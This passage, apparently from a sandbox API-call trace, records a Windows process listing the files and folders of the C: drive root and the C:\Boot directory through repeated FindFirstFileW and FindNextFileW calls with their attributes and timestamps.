ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0134.558] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0134.559] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0134.560] FindClose (in: hFindFile=0x1a9d9080 | out: hFindFile=0x1a9d9080) returned 1 [0134.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0134.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0134.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0134.560] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0134.561] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d9080 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x35246c20, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x91949470, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x91923310, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0134.561] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1e1707c0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1e1707c0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0134.562] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1cdf33a0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1cdf33a0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0134.563] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0134.564] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0134.564] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0134.564] FindNextFileW (in: hFindFile=0x1a9d9080, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, 